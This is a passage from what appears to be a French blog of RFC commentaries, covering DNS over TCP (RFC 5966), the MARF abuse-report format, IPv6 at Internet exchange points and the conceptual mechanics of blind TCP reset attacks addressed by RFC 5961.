Et Rémi Desprès, concepteur de la solution originale, note que l'apport majeur du RFC 5969 est la spécification d'une option DHCP pour transmettre aux CPEs (ou "CEs") les paramètres 6rd de leur domaine. (Free n'en avait pas besoin, mais c'est indispensable si les CPE sont acquis indépendamment du FAI.) Il ajoute qu'il y a par contre une régression, mais limitée, dans la section 8. La nouvelle norme envisage une l'utilisation de NUD (Neighbor Unreachability Detection) sur le lien virtuel que constitue un domaine 6rd (tout en le décrivant comme sous-optimal), une complexité à son avis superflue. Le RFC 5969, et propose une technique différente pour tester l'accessibilité des BR, à son avis superflue également. La philosophie KISS du RFC 5569 en est à son avis amoindrie, mais avoir un RFC spécifiant l'option DHCP est plus important que ces points mineurs.
On imagine que la suite des opérations sera une implémentation par Cisco, étant donnée que le RFC est rédigé par des gens travaillant pour Cisco.
Date de publication du RFC : Août 2010
Auteur(s) du RFC : R. Bellis (Nominet)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF dnsext
Première rédaction de cet article le 24 août 2010
La vague mention des virtual circuits (connexions TCP) dans la section 4.2 du RFC 1035 a suscité d'innombrables polémiques, que ce RFC 5966 a tranché. En deux mots, un serveur DNS doit-il fournir son service avec les protocoles de transport TCP et UDP ou bien peut-il se contenter d'UDP ? La réponse était clairement « TCP et UDP » et le remplaçant de ce document, le RFC 7766, a été depuis encore plus net.
La discussion était d'autant plus vive que certains
registres procèdent à des tests techniques obligatoires
avant l'enregistrement d'un nom de domaine et que ces tests peuvent
inclure la disponibilité du service sur TCP. Par exemple, l'outil
Zonecheck dispose d'un tel test
(qui se configure avec <check name="tcp"
severity="f ou bien w" category="connectivity:l4"/>
) et
l'AFNIC impose le succès de ce test pour un
enregistrement dans .fr
(contrairement à ce qu'on lit parfois, il est faux de dire « Zonecheck
impose TCP », Zonecheck est configurable et c'est l'AFNIC qui choisit
d'activer ce test, et décide de son caractère bloquant ou non). On a
vu ainsi des discussions sur ces tests, même si les opposants ont
rarement fait l'effort de prendre le clavier pour écrire une
argumentation raisonnée (on les comprend quand on voit que toutes les
discussions publiques sur le sujet indiquent un consensus des experts
sur l'importance du service TCP, voir par exemple http://www.circleid.com/posts/afnic_dns_server_redelegation/
).
Mais c'est aussi que l'approche « légaliste » de la discussion est vouée à tourner en rond. Le texte du RFC 1035 (ou celui de la section 6.1.3.2 du RFC 1123) est vague, et peut s'interpréter de différentes manières. Il faut donc revenir aux bases du DNS, pour décider si TCP est important ou pas, et pas essayer vainement de trouver un texte sacré qui trancherait la question de manière claire.
Revenons donc à ces bases (section 1 du RFC). Le DNS peut
s'utiliser sur UDP et
TCP. Par exemple, l'outil
dig, par défaut, utilise UDP, mais l'option
+tcp
(ou +vc
pour
virtual circuit) lui fait utiliser TCP. TCP est
obligatoire pour les transferts de zone (cf. RFC 5936) mais, contrairement à une légende répandue, n'est pas
réservé à ces transferts et peut être utilisé pour des requêtes
ordinaires. Il est notamment obligatoire si la réponse arrive tronquée
(bit TC mis à un) car elle ne tenait pas dans le paquet UDP (dont la
taille était autrefois limitée à 512 octets). Depuis la création du
DNS, la taille des réponses a beaucoup augmenté
(IDN et IPv6 mais
surtout DNSSEC y ont largement contribué) et,
malgré la suppression de la limite de 512 (cf. RFC 6891), TCP est donc encore plus nécessaire que dans le passé.
Arrivé là, il faut faire une distinction importante entre ce que peut le logiciel et ce qu'a activé l'administrateur système. Ainsi, le logiciel djbdns permet parfaitement TCP mais il n'est pas activé par défaut. De même, BIND ou NSD ont TCP par défaut mais un pare-feu situé devant le serveur de noms peut bloquer les accès TCP. Notre RFC 5966 sépare donc protocole et mise en œuvre et ne traite que le cas du logiciel : il précise que tout logiciel DNS doit avoir la possibilité de faire du TCP mais il ne tranche pas (délibérement) la question de savoir si TCP doit être disponible sur un serveur de noms en activité. Il note simplement que l'absence de TCP peut planter le processus de résolution de noms.
La section 3 du RFC discute ensuite les différentes questions liées
à ce choix. Le principal problème est celui de la taille des réponses. Autrefois limitée à 512
octets, elle peut prendre des valeurs plus grandes (jusqu'à 65536
octets) avec EDNS0. Mais la
MTU de 1500 octets est hélas une limite pratique fréquente
(cf. RFC 5625, du même auteur), en raison de
pare-feux mal configurés. Cela peut poser
des problèmes, par exemple lors
du déploiement de DNSSEC. Un simple
NXDOMAIN
depuis
.org
dépasse les 512
octets :
% dig +dnssec SOA certainlydoesnotexist.org ; <<>> DiG 9.6-ESV-R1 <<>> +dnssec SOA certainlydoesnotexist.org ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 64046 ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 0, AUTHORITY: 8, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags: do; udp: 4096 ;; QUESTION SECTION: ;certainlydoesnotexist.org. IN SOA ;; AUTHORITY SECTION: org. 0 IN SOA a0.org.afilias-nst.info. noc.afilias-nst.info. 2009281221 1800 900 604800 86400 org. 0 IN RRSIG SOA 7 1 900 20100907065203 20100824055203 52197 org. m3DPnEo+Ibd8W0d/cVW7sMZb8UooI6F6mOn/mQSeLiTnLRUvPaMFsd3m j12W4YgVGMyf1s/YLIItoBy7fhKDdJ2zi2r8PfuBrT9Hr+dut+IHRGDR r+6ALaqBISWeyptCe6TygeudG/1sQkQZlCvaBGKUFpsHEi831FwtMZjc hmI= h9p7u7tr2u91d0v0ljs9l1gidnp90u3h.org. 86400 IN NSEC3 1 1 1 D399EAAB H9RSFB7FPF2L8HG35CMPC765TDK23RP6 NS SOA RRSIG DNSKEY NSEC3PARAM h9p7u7tr2u91d0v0ljs9l1gidnp90u3h.org. 86400 IN RRSIG NSEC3 7 2 86400 20100907065203 20100824055203 52197 org. WNHP4aq9hxWHjgZ10HKlqiU6bx2PVQyCgeGJQqykAay4qTcQvD77QMRm c9efWt3M4BO7rr7bt/uY+TqsriJvB1uhvqg93Ti0fPH1SX86hhG8B09U czngma0DZ1UtaCgwpjVQJbAVYRknyfyi6NM7hWwbxUtD44EVWE14qEbb 93A= b42oorh0vfd9ble13e1him76im76qsl6.org. 86400 IN NSEC3 1 1 1 D399EAAB B49TR2SSRPRC2FF6FIVQ25UFDMRL7Q63 NS DS RRSIG b42oorh0vfd9ble13e1him76im76qsl6.org. 86400 IN RRSIG NSEC3 7 2 86400 20100906200816 20100823190816 52197 org. I5l7iR/5TngAspzO36TkNYGGugE2whPsUvQP/nPoNMBCC58/4TtNQysF Pdfswz5lPm14Ei8UrCSXjG17Db7yVFk4MD/oidsfweEJ2hwJqcoPAXqY bcqliZxUq/9dLW7zkH4tKwCDXfYHQKFgW7MhKr/i5JUJRkZgR0Q/7mmu PF4= vae6tvink0oqnd756037uoir56fokhtd.org. 86400 IN NSEC3 1 1 1 D399EAAB VB1V404HEINQ7A8TQTJ9OASALN2IS19G A RRSIG vae6tvink0oqnd756037uoir56fokhtd.org. 86400 IN RRSIG NSEC3 7 2 86400 20100907011155 20100824001155 52197 org. lHZ3Zi7vMKEcPif/SE9w31xobVq7VXcifR3EE+G1c3lxm3bKdMI9tY3x 6hOkHbUnbgY8XNvEmaobjmPYd4UdYLQa8eonTuRaupI90AZt9Fi83k6u ruCRHP0ChO9VUD+Yc68mM7spD+7nTIfRu/FkNKEuNvqSHipgR5blBfNg KZw= ;; Query time: 43 msec ;; SERVER: ::1#53(::1) ;; WHEN: Tue Aug 24 08:54:12 2010 ;; MSG SIZE rcvd: 1019
Dans tous ces cas, TCP est la seule solution fiable. À l'ère de YouTube et de ses giga-octets de vidéo, il serait curieux d'en rester au DNS de 1990 et de ses limites archaïques à 512 octets. Un serveur de noms doit donc pouvoir utiliser TCP.
Mais, lorsque le serveur de noms a le choix, quel protocole de transport doit-il utiliser ? C'est l'objet de la section 4. Elle modifie légèrement le RFC 1123 dont la section 6.1.3.2 imposait à un résolveur de tenter UDP d'abord (et de passer en TCP si la réponse arrive tronquée). Désormais, le résolveur a le droit de poser sa question en TCP d'abord, s'il a de bonnes raisons de penser (par exemple parce qu'il a déjà parlé à ce serveur) que la réponse arrivera tronquée.
Les sections 5 et 6 sont consacrées à des problèmes pratiques avec la mise en œuvre de TCP. Par exemple, comme le DNS sur TCP peut faire passer plusieurs requêtes dans une connexion TCP, notre RFC précise que les réponses ont parfaitement le droit d'arriver dans un ordre différent de celui des questions.
Restent les questions de sécurité et autres craintes qui sont mentionnées par certains
objecteurs (on peut citer http://cr.yp.to/djbdns/tcp.html#why
comme très bel exemple de
catalogue d'erreurs et d'énormités). En effet, programmer TCP dans le
serveur de noms n'est pas très difficile. Ma propre implémentation,
dans Grong, fut
triviale, car le langage Go, avec son
parallélisme natif facilite beaucoup les choses. Mais, même en
C, si le serveur utilise plusieurs
sockets, par exemple pour
gérer IPv4 et IPv6,
ajouter TCP en prime ne changera pas beaucoup la boucle principale
autour de select()
. L'obligation de
gérer TCP ne gênera donc qu'une petite minorité de programmeurs, ceux
qui essayaient de faire un serveur DNS basé sur le traitement
séquentiel des paquets.
En revanche, l'obligation de gérer TCP est parfois critiquée pour des raisons de sécurité. La section 7 discute ce problème des DoS : TCP nécessite un état sur le serveur et consomme donc des ressources. En théorie, cela rendrait les serveurs DNS plus sensibles aux DoS. Toutefois, presque tous les serveurs de noms de la racine ont TCP depuis longtemps, ainsi que la grande majorité des serveurs des grands TLD et on ne voit pas d'attaques pour autant. (Le RFC se limite au cas du DNS mais on peut aussi, en sortant du petit monde DNS, noter que l'écrasante majorité des serveurs Internet utilise exclusivement TCP... En outre, UDP a ses propres problèmes de sécurité, notamment la facilité à tricher sur l'adresse IP source, facilité qui est à la base de l'attaque Kaminsky.) Le RFC recommande toutefois la lecture de bons textes comme « CPNI technical note 3/2009 \ Security assessment of the Transmission Control Protocol (TCP) ».
Et la charge du serveur ? Le RFC n'en parle pas mais il y avait eu des inquiétudes à ce sujet, basées sur le fait que les études montrent une augmentation relative très importante du trafic TCP lorsqu'on active DNSSEC. Ce trafic peut-il épuiser le serveur. Notons que, si un passage de 0,2 requête/s à 50 peut sembler énorme, cela reste ridicule en valeur absolue, à l'heure où le plus petit serveur HTTP en gère bien davantage.
Par contre, une autre objection contre TCP n'est pas citée, ses possibles problèmes avec l'anycast. Désolé, mais je manque de temps pour la commenter ici.
Ah, me demanderez-vous, mon opinion personnelle ? Je trouve qu'aujourd'hui, TCP est à la fois indispensable pour ne pas limiter à des valeurs ridiculement basses la taille des réponses, et facile à déployer, comme le montre l'expérience de tous les gros TLD. EDNS0 permettrait de résoudre une bonne partie des problèmes de taille (et je veux donc bien entendre les objecteurs qui diraient « le test technique devrait exiger TCP ou EDNS0 ») mais je note que les serveurs qui n'ont pas TCP n'ont pratiquement jamais EDNS0 non plus... Il n'y a donc guère de raisons valables, en 2010, d'avoir des serveurs de noms inaccessibles en TCP. (En 2016, notre RFC a été remplacé par le RFC 7766, qui augmente encore le rôle de TCP.)
Date de publication du RFC : Août 2010
Auteur(s) du RFC : Y. Shafranovich (ShafTek Enterprises), J. Levine (Taughannock Networks), M. Kucherawy (Cloudmark)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF marf
Première rédaction de cet article le 31 août 2010
Dernière mise à jour le 1 septembre 2010
Les opérateurs de réseaux et de serveurs, aujourd'hui, passent beaucoup de temps à s'envoyer des rapports indiquant qu'un message reçu est en fait abusif, spam ou hameçonnage. Ces rapports sont désormais bien trop nombreux pour être traités manuellement et il est donc nécessaire de définir un format standard pour les représenter, de façon à permettre un minimum de traitement automatique sur ces rapports. C'est ce que fait notre RFC, le premier du groupe de travail MARF. Ce format s'appuie évidemment sur MIME.
Avant l'adoption du format MARF (qui précède
sa normalisation formelle dans ce RFC), plusieurs opérateurs avaient
défini des formats privés (section 1). Cela rendait évidemment
difficile l'analyse des rapports envoyés, il fallait écrire du code
pour chaque opérateur. Désormais, il existe donc un format standard,
basé sur le type MIME
multipart/report
normalisé dans le RFC 6522. Ce format utilise le sous-type (« type du rapport »)
feedback-report
.
Ce n'est pas la première tentative de normalisation dans ce domaine, les précédentes n'ont pas été des succès.
Ce RFC ne fait que normaliser un format, il ne spécifie pas à qui les rapports doivent être envoyés, comment les authentifier, ou ce qu'il faut en faire, il se focalise sur l'aspect technique. Le cahier des charges figure en section 1.2 :
Ces objectifs ont-il été atteints ? Voyons la définition du nouveau format (une certaine familiarité avec le RFC 5598 est utile).
La section 2 du RFC décrit le format
MARF. Un message MARF est donc un message
MIME multipart/report
, tel
que défini dans le RFC 3462. Le type du rapport
est feedback-report
(donc le message contiendra
un en-tête du genre Content-Type: multipart/report;
report-type=feedback-report; ...
). Chaque rapport ne
concerne qu'un seul message, il n'y a pas de mécanisme pour
l'agrégation de messages. Il comprend trois parties
MIME obligatoires :
message/feedback-report
,message/rfc822
en général (rappelez-vous que MIME
est récursif et qu'il est donc parfaitement possible d'avoir un
message MIME dans un autre message MIME).
Le sujet du rapport doit être le champ Subject:
du message original, éventuellement avec un préfixe comme
FW:
(pour forwarded), ce qui
me semble déroutant car, en examinant sa boîte aux lettres
manuellement, on ne distingue pas facilement les spams des rapports
sur les spams.
Focalisons-nous un instant sur la seconde partie, les
métadonnées. Le format de ce nouveau type MIME
message/feedback-report
est décrit dans la
section 3. Cette partie est composée de plusieurs champs, suivant la
syntaxe des en-têtes du courrier (attention, seule leur syntaxe est
identique, un champ de même nom qu'un champ du RFC 5322 n'a pas forcément la même sémantique). Comme pour tout
le contenu du rapport, le destinataire ne doit pas forcément leur
faire une confiance aveugle. Ils représentent des assertions du
créateur du rapport et ne sont pas forcément vérifiables.
La liste des champs n'est pas fixée définitivement, de nouveaux champs pourront être enregistrés dans le futur. Aujourd'hui, la liste des champs obligatoires comprend (section 3.1) :
Feedback-Type:
, défini dans la section
3.5,User-Agent:
, indiquant le logiciel qui a
produit le rapport,Version:
, aujourd'hui toujours 1.Il y a aussi des champs facultatifs, parmi lesquels (sections 3.2 et 3.3) :
Arrival-Date:
indiquant l'heure de
réception,Authentication-Results:
qui indique les
résultats des procédures d'authentification, tels que formalisés par
le RFC 7001,Incidents:
, un nombre indiquant le nombre
de fois que ce message a été reçu,Reported-Domain:
, qui indique le nom du
coupable présumé (par exemple parce que le message vient de
lui),Reported-URI:
, qui indique un
URI pertinent pour le rapport, par exemple
l'URL d'un site Web de
hameçonnage pour lequel un spam faisait de la publicité,Source-IP:
, indiquant l'adresse IP source
au moment où le message est entré dans le domaine qui génère le rapport,Reported-URI:
)
et d'autres une et une seule fois (comme Arrival-Date:
).Un exemple d'une telle partie :
Feedback-Type: abuse User-Agent: SomeGenerator/1.0 Version: 1 Arrival-Date: Thu, 8 Mar 2005 14:00:00 EDT Source-IP: 192.0.2.1 Authentication-Results: mail.example.net; spf=fail smtp.mail=somespammer@example.com Reported-Domain: example.com Reported-Uri: http://example.com/earn_money_fast.html
La grammaire complète figure en section 3.5.
On le sait, le courrier électronique est une jungle où tout est possible. Les rapports peuvent être mensongers ou, tout simplement, incorrects techniquement. Que faire dans ce cas ? La section 4 est claire : de tels messages devraient être ignorés ou rejetés. Le principe de robustesse (« Acceptez n'importe quoi et essayez de le décoder ») ne s'applique pas aux questions de sécurité.
Je l'ai dit plus haut, une des exigences du cahier des charges était l'extensibilité. La section 6 expose les moyens déployés par MARF pour atteindre ce but. Notamment, deux registres IANA sont créés, pour pouvoir ajouter des nouvelles données : le registre des types de retours (feedback types) et celui des champs dans les métadonnées. Les types et les champs inconnus doivent donc être ignorés par les programmes, afin de pouvoir ajouter des nouveaux sans casse.
Les registres en question sont décrits de manière plus formelle
dans la section 7. Celle-ci décrit l'enregistrement du nouveau type MIME
message/feedback-report
, le nouveau registre des
métadonnées (dans lequel on peut enregistrer par la procédure
« spécification obligatoire » du RFC 5226) et le
nouveau registre des types de
retour (même procédure pour l'enregistrement). Aujourd'hui, ce
registre contient des types comme abuse (courrier
non sollicité), fraud (courrier de tentative
d'escroquerie), virus (courrier contenant un
virus), etc.
Comme tout ce RFC porte sur un problème de sécurité, il est normal que la section dédiée à ce sujet, la 8, se demande si le nouveau format est lui-même sûr. Elle met notamment en garde contre les interprétations abusives (section 8.2) : cette norme décrit juste un format, elle ne garantit pas que les rapports, même syntaxiquement corrects, soient authentiques. Le mécanisme par lequel on décide de faire confiance (ou pas) à un rapport n'est pas spécifié par ce RFC. Il est donc déconseillé de déclencher automatiquement des actions (comme l'inscription sur une liste noire) sur la seule base d'un rapport, sans précautions supplémentaires.
Par exemple, le RFC recommande que les rapports soient un minimum authentifiés, par le biais de techniques comme SPF, DKIM ou S/MIME (ce dernier est conseillé mais, curieusement, PGP n'est pas cité).
Autre problème de sécurité lié à ces rapports, le risque d'attenter à la vie privée. La section 8.5 rappelle que la règle devrait être d'envoyer des rapports complets mais, si la protection de la vie privée le nécessite, qu'on peut supprimer certaines parties du rapport pour ne pas révéler d'informations privées. (Même si on devine que cette idée de vie privée défrise considérablement les auteurs du RFC.)
Peut-on générer automatiquement des rapports MARF (section 8.6), par exemple parce qu'un pot de miel a reçu un spam ? Le RFC met en garde : un attaquant qui sait qu'un tel générateur existe pourrait l'utiliser pour faire fabriquer des rapports contre ses ennemis, en envoyant de faux spams.
Encore un piège amusant : les rapports seront souvent générés pour des messages qui contiennent du logiciel malveillant. Ledit logiciel va se trouver dans la partie du rapport qui reprend le message original. Les processeurs de messages MARF doivent donc faire attention à ne pas, par exemple, exécuter accidentellement le méchant logiciel (section 8.7) !
Un exemple plus complet est cité dans l'annexe B2 du RFC (le
message original a le sujet Earn money et prétend
venir de somespammer@example.net
) :
From: <abusedesk@example.com> Date: Thu, 8 Mar 2005 17:40:36 EDT Subject: FW: Earn money To: <abuse@example.net> MIME-Version: 1.0 Content-Type: multipart/report; report-type=feedback-report; boundary="part1_13d.2e68ed54_boundary" --part1_13d.2e68ed54_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit This is an email abuse report for an email message received from IP 192.0.2.1 on Thu, 8 Mar 2005 14:00:00 EDT. For more information about this format please see http://www.mipassoc.org/arf/. --part1_13d.2e68ed54_boundary Content-Type: message/feedback-report Feedback-Type: abuse User-Agent: SomeGenerator/1.0 Version: 1 Original-Mail-From: <somespammer@example.net> Original-Rcpt-To: <user@example.com> Arrival-Date: Thu, 8 Mar 2005 14:00:00 EDT Reporting-MTA: dns; mail.example.com Source-IP: 192.0.2.1 Authentication-Results: mail.example.com; spf=fail smtp.mail=somespammer@example.com Reported-Domain: example.net Reported-Uri: http://example.net/earn_money.html Reported-Uri: mailto:user@example.com Removal-Recipient: user@example.com --part1_13d.2e68ed54_boundary Content-Type: message/rfc822 Content-Disposition: inline From: <somespammer@example.net> Received: from mailserver.example.net (mailserver.example.net [192.0.2.1]) by example.com with ESMTP id M63d4137594e46; Thu, 08 Mar 2005 14:00:00 -0400 To: <Undisclosed Recipients> Subject: Earn money MIME-Version: 1.0 Content-type: text/plain Message-ID: 8787KJKJ3K4J3K4J3K4J3.mail@example.net Date: Thu, 02 Sep 2004 12:31:03 -0500 Spam Spam Spam Spam Spam Spam Spam Spam Spam Spam Spam Spam --part1_13d.2e68ed54_boundary--
Qui utilise ou utilisera ce format ? Je n'ai pas trouvé sur le
site officiel de liste
des implémentations (pour générer et analyser du MARF). Il faut se
contenter des liens en http://wordtothewise.com/resources/arfdeveloper.html
. Voir par exemple :
http://rubyforge.org/projects/arfparser/
http://search.cpan.org/perldoc?Email::ARF
http://abusix.com/solutions
Mais,
apparemment, plusieurs opérateurs utilisent déjà ce
format. Idéalement, on devrait pouvoir l'utiliser pour soumettre des
rapports à abuse@opérateur.net
et à
des organismes comme Signal-Spam (ce dernier semble
tout à fait mort). Mais cela ne semble pas possible actuellement. En
tout cas, au bureau, seule une minorité des rapports de spam que je reçois sont pour
l'instant à ce format (je ne peux pas les reproduire ici, pour des
raisons de protection des données personnelles ; dans beaucoup de cas,
le rapport est erroné et je ne veux pas que des innocents se trouvent
mentionnés). Un autre document, plus récent, le RFC 6650, décrit en détail dans quels cas utiliser ARF et comment.
Date de publication du RFC : Août 2010
Auteur(s) du RFC : R. Gagliano (Cisco)
Pour information
Réalisé dans le cadre du groupe de travail IETF v6ops
Première rédaction de cet article le 31 août 2010
Le fonctionnement de l'Internet aujourd'hui repose largement sur des points d'échange où les différents opérateurs se connectent pour échanger du trafic IP. Le point d'échange typique fournit un réseau Ethernet où chacun connecte son routeur, et alloue des adresses IP pour configurer ces dits routeurs, qui vont ensuite établir des liens BGP entre eux. La principale conclusion de ce nouveau RFC est que la très grande majorité des points d'échange fournissant un service de couche 2, le fait d'utiliser IPv6 au lieu d'IPv4 ne change pas grand'chose à la gestion du point d'échange.
La section 1 résume l'état actuel du monde des points d'échange. Presque toujours, le service rendu est une connexion de niveau 2, quasiment uniquement en Ethernet. Le principal service de niveau 3 rendu par les gérants du point d'échange est l'attribution d'adresses IP aux routeurs des opérateurs. Curieusement, ce service n'est pas mentionné dès la section 1, qui cite à la place des fonctions moins vitales comme le serveur de routes ou bien les statistiques (globales ou bien par protocole).
La section 2 du RFC passe ensuite aux questions liées à l'interface entre la couche de liaison et la couche réseau. IPv6 sur Ethernet doit se faire selon le RFC 2464. Le commutateur Ethernet lui-même, travaillant en couche 2, n'a rien de spécial à faire. On peut se poser la question de séparer les trafics v4 et v6. Cela peut se mettre en œuvre avec deux ports physiques sur le commutateur ou bien avec deux VLAN séparés. Mais cette séparation n'est pas indispensable. (Le faire avec des ports séparés consomme des ressources matérielles sur le routeur et le faire avec des VLAN impose aux routeurs de gérer 802.1Q.) Elle complique la configuration mais peut simplifier certaines fonctions comme les statistiques.
La section 3, plutôt descriptive que normative, décrit le mécanisme d'adressage à un point d'échange. Chaque RIR a sa politique pour l'allocation d'adresses IPv6 aux points d'échange. Ce sont typiquement des préfixes de longueur /48 qui sont alloués. Ces adresses ont besoin d'être résolvables en nom par le DNS et de pouvoir être trouvées dans la base des RIR via whois. Donc, un point d'échange n'utilise pas les ULA du RFC 4193. (Voyez par exemple les adresses IP allouées sur FranceIX.)
Par raport à un réseau local IPv6 typique, il faut aussi noter que l'autoconfiguration des adresses pa l'envoi de RA (Router Advertisement) n'est typiquement pas utilisée. La configuration des routeurs est faite manuellement puisque, de toute façon, la configuration de BGP dépend de l'adresse. Puisqu'on n'utilise pas l'autoconfiguration, que mettre dans les 64 bits les plus à droite ? En IPv4, les routeurs à un point d'échange sont en général numérotés séquentiellement mais l'espace d'adressage bien plus grand d'IPv6 permet des plans d'adressage plus informatifs. Il existe plusieurs mécanismes acceptables :
2001:db8:f00f::/64
et qu'un opérateur connecté a
le numéro d'AS 64496, son adresse IP sera
2001:db8:f00f::6:4496:1
(le 1 tout à fait à
droite vient de la réservation des 16 derniers bits pour mettre
plusieurs routeurs par opérateur connecté, si nécessaire).2001:db8:f00f::fbf0:1
.192.0.2.123
en v4 recevra
2001:db8:f00f::123
en v6 (ce n'est qu'un exemple,
le RFC en cite un autre, qui permet des points d'échange de plus de
256 routeurs, contrairement à mon choix de ne garder que le dernier
octet).
Ces adresses IP du point d'échange doivent-elles être routées
globalement ? Le débat a toujours fait rage pour IPv4 et n'est pas
différent ici. Les adresses routées globalement facilitent la
configuration et le débogage mais peuvent rendre le point d'échange
plus vulnérable à certaines attaques. Si on ne route pas globalement ces adresses,
les participants au point d'échange peuvent toujours le faire
eux-même dans leur réseau, en prenant soin d'utiliser des méthodes
comme la communauté no-export
de BGP, pour éviter
que les annonces des routes vers le point d'échange ne se propagent
trop loin.
Enfin, le point d'échange a aussi des services publics (pages Web,
serveur DNS,
serveurs NTP, etc) et ceux-ci doivent
évidemment être
installés sur des adresses routables, que ce soit dans le même préfixe
que celles des routeurs
des participants ou bien dans un préfixe différent.
Une des particularités d'un point d'échange est que les routeurs qui y sont présents appartiennent à des organisations différentes, souvent concurrentes. Le réseau Ethernet partagé n'est donc pas forcément peuplé que par des gentils paquets, on y trouve un peu de tout, des annonces OSPF aux serveurs DHCP illicites... La section 4 mentionne ce problème et ses conséquences pour la sécurité et note que le gérant du point d'échange peut, par exemple, limiter l'utilisation de la diffusion (qui sont transmis à tous) aux paquets de découverte des voisins (RFC 4861. En tout cas, bloquer les paquets Router Advertisement (qui ne devraient jamais apparaître sur le réseau du point d'échange) est conseillé.
Tiens, puisqu'on a parlé du DNS, la section 5 lui est consacrée. Elle recommande que les adresses IP du point d'échange aient un enregistrement « inverse » (enregistrement PTR) dans le DNS, pour faire de plus jolis traceroute et, de manière générale, pour faciliter le débogage.
Un autre service très populaire sur les points d'échange est le serveur de routes, discuté en section 6. Il sert parfois à échanger réellement des routes entre pairs, et parfois simplement de looking glass. Voir par exemple le looking glass du DE-CIX. Notre RFC recommande qu'il soit accessible en IPv6 mais surtout qu'il gère les extensions à BGP des RFC 2545 et RFC 4760, qui permettent de gérer plusieurs familles d'adresses IP, donc de gérer des routes IPv6. Une autre recommandation est que les routes IPv6 soient échangées sur des sessions IPv6 (ce qui n'est pas obligatoire avec BGP), pour améliorer la cohérence de l'information de routage (si un pair BGP reçoit des informations sur IPv6, il peut être sûr que le pair qui lui annonce des routes IPv6 est lui-même effectivement joignable par ce protocole).
Enfin, la section 7 traite les cas « divers ». Par exemple, un des points peu spectaculaire, mais souvent critique, d'une transition vers IPv6 est l'adaptation des systèmes d'avitaillement (la base de données qui stocke les adresses des participants au point d'échange...) : ces systèmes doivent eux aussi être migrés de manière à pouvoir gérer des adresses IPv6.
La section 8 couvre le cas des politiques d'accès au point d'échange. Les règles d'utilisation doivent bien préciser si le contrat concerne seulement IPv4, seulement IPv6 ou bien les deux. Je me souviens, il y a quelques années (les choses ont peut-être changé depuis) que le contrat avec le Sfinx ne couvrait qu'IPv4 (alors que l'organisme qui gère le Sfinx se vantait de son rôle pionnier en IPv6) et qu'il fallait une paperasserie longue et compliquée pour pouvoir faire de l'IPv6. Notez que notre RFC ne formule pas de recommandation précise sur la politique idéale. Pour moi, le contrat devrait couvrir IP, quelle que soit sa version, car il n'existe aucune justification opérationnelle pour traiter IPv6 comme un « plus », imposant un contrat nouveau.
Pour un bon survol des points d'échange IPv6, voir https://prefix.pch.net/applications/ixpdir/summary/ipv6/
.
Date de publication du RFC : Août 2010
Auteur(s) du RFC : A. Ramaiah (Cisco Systems), R. Stewart (Huawei), M. Dalal (Cisco Systems)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF tcpm
Première rédaction de cet article le 27 août 2010
Dernière mise à jour le 10 août 2016
Le protocole TCP, à la base de la grande majorité des transferts de données sur l'Internet, souffre depuis longtemps de plusieurs vulnérabilités. L'une d'elles est sa susceptibilité à des attaques par injection de faux paquets, qui ne proviennent pas d'une des deux extrémités de la connexion TCP. Un sous-ensemble de ces attaques, les attaques en aveugle, concerne les cas où l'attaquant n'est même pas sur le chemin entre les deux extrémités (on dit qu'il est off-path) et doit deviner les numéros de séquence TCP pour que ses faux paquets soient acceptés. Ce nouveau RFC expose le problème et des moyens d'en limiter les effets. (Il a été depuis partiellement mis à jour par le RFC 9293.)
Le problème des attaques en aveugle était traditionnellement considéré comme de peu d'importance. En effet, pour que le paquet injecté soit accepté comme légitime, il devait reproduire adresses IP source et destination, ports source et destination et un numéro de séquence situé dans la fenêtre. (Le concept de numéro de séquence TCP est décrit dans le RFC 793, section 3.3. Chaque octet transmis a un numéro de séquence et, à un moment donné, seule une plage de numéros, la fenêtre, est acceptable, car envoyée mais non encore reçue et validée.) À partir du moment où le numéro de séquence initial est choisi de manière non prédictible (ce qui n'a pas toujours été le cas, cf. RFC 6528, mais est désormais fait dans toutes les mises en œuvre de TCP), un attaquant aveugle, qui ne peut pas sniffer le réseau, n'a guère de chance de deviner juste et donc de fabriquer un faux qui soit accepté. (Voir le RFC 4953 pour les détails sur les attaques contre TCP.)
Mais les choses changent. En raison de l'augmentation de capacité
des réseaux, les fenêtres TCP voient leur taille accrue, améliorant
les chances de l'attaquant. Et certaines sessions TCP sont très
longues (par exemple avec BGP ou avec
H.323), avec des adresses IP et des ports
prévisibles. En profitant de ces faiblesses, un attaquant peut alors
voir ses faux paquets acceptés, et effectuer ainsi des
DoS (si le faux paquet est un
RST
, qui coupe la connexion) ou modifiant les
données (si le faux paquet contient des données).
La section 1 du RFC résume ce problème, aggravé par des implémentations comme celles de BGP qui utilisent souvent des ports prévisibles des deux côtés (même du côté client, où ce n'est pas obligatoire). La section 1.2 décrit en détail comment conduire une telle attaque, en prenant l'exemple d'une attaque RST, visant à couper des connexions TCP. La principale difficulté pour l'attaquant est que le numéro de séquence du paquet portant le bit RST doit se situer dans la fenêtre de réception actuelle (mais, bien sûr, l'attaquant a le droit d'injecter plusieurs paquets, pour essayer plusieurs fenêtres potentielles). Les chances du succès du méchant dépendent donc de la taille de la fenêtre. Elle est en général assez facile à déterminer (et cela donne une bonne idée du nombre d'essais qu'il faudra faire). Une fois qu'il a une idée du numéro de séquence utilisé, l'attaquant peut alors commencer à envoyer des paquets RST, incrémentant le numéro de séquence par la taille de la fenêtre, à chaque nouvel essai. Au bout d'un moment, il a de fortes chances de tomber juste. Les calculs complets se trouvent dans l'article de Watson, « Slipping in the Window: TCP Reset attacks, Presentation at 2004 CanSecWest » et la question est également traitée dans le RFC 4953. La section 1.3 de notre RFC contient également ces calculs de probabilité de réussite.
Le fait que l'attaquant puisse , selon les règles du RFC 793, utiliser n'importe quel numéro de séquence situé dans la fenêtre de réception lui facilite la tâche (en moyenne, seulement 2^31/$WindowSize essais). Changer TCP pour n'accepter les RST que si le numéro de séquence est exactement celui attendu protégerait sérieusement, obligeant l'attaquant à bien plus d'essais (2^31 en moyenne). Sans ce changement, avec une fenêtre typique de 32 768 octets, 65 536 paquets suffisent pour une attaque réussie, en moyenne. Et les tailles des fenêtres tendent à augmenter, en raison de l'augmentation de capacité des réseaux, ce qui rend l'attaque de plus en plus facile.
